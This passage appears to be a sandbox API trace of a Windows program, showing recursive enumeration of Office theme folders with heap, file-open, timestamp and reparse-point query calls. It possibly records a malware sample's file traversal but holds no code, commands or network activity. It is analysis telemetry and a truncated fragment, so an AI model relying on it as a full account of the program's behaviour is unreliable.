RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.415] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.415] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.415] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910b90 [0241.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x912c88 [0241.415] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.415] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.415] GetLastError () returned 0x12 [0241.415] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.415] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.416] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.416] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0241.416] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0241.416] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.416] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.416] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.416] GetLastError () returned 0x12 [0241.416] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x911c08) returned 1 [0241.416] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.416] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x911b00) returned 1 [0241.416] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.416] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0241.416] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.416] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0241.503] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.503] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x913d10 [0241.504] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x913d10, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x913d10, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.504] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x913d10) returned 1 [0241.504] NtClose (Handle=0x1bc) returned 0x0 [0241.504] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.504] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.504] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.504] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.504] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.504] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911b00 [0241.504] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.504] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.504] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0241.504] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.504] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.504] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.504] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.504] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.504] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911c08 [0241.504] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.504] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910bb0 [0241.504] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x912d90 [0241.505] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x680) returned 0x913d10 [0241.505] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9136c8) returned 1 [0241.505] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.505] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0241.505] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.505] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.505] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.505] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.505] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.505] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.505] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.505] GetLastError () returned 0x12 [0241.505] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.505] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.505] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.505] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0241.505] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0241.505] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.505] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.505] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.505] GetLastError () returned 0x12 [0241.505] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x911b00) returned 1 [0241.506] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.506] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x911c08) returned 1 [0241.506] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.506] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0241.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0241.511] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.511] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x914398 [0241.511] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x914398, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x914398, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.512] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x914398) returned 1 [0241.512] NtClose (Handle=0x1b0) returned 0x0 [0241.512] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.512] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.512] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.512] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.512] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.512] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911c08 [0241.512] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.512] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.512] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0241.512] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.512] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.512] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.512] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.512] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.512] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911b00 [0241.512] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.512] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910c30 [0241.512] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9131b0 [0241.512] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.512] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0241.512] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.513] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.513] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910c50 [0241.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9132b8 [0241.513] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.513] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.513] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.513] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910c70 [0241.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9133c0 [0241.513] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.513] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: 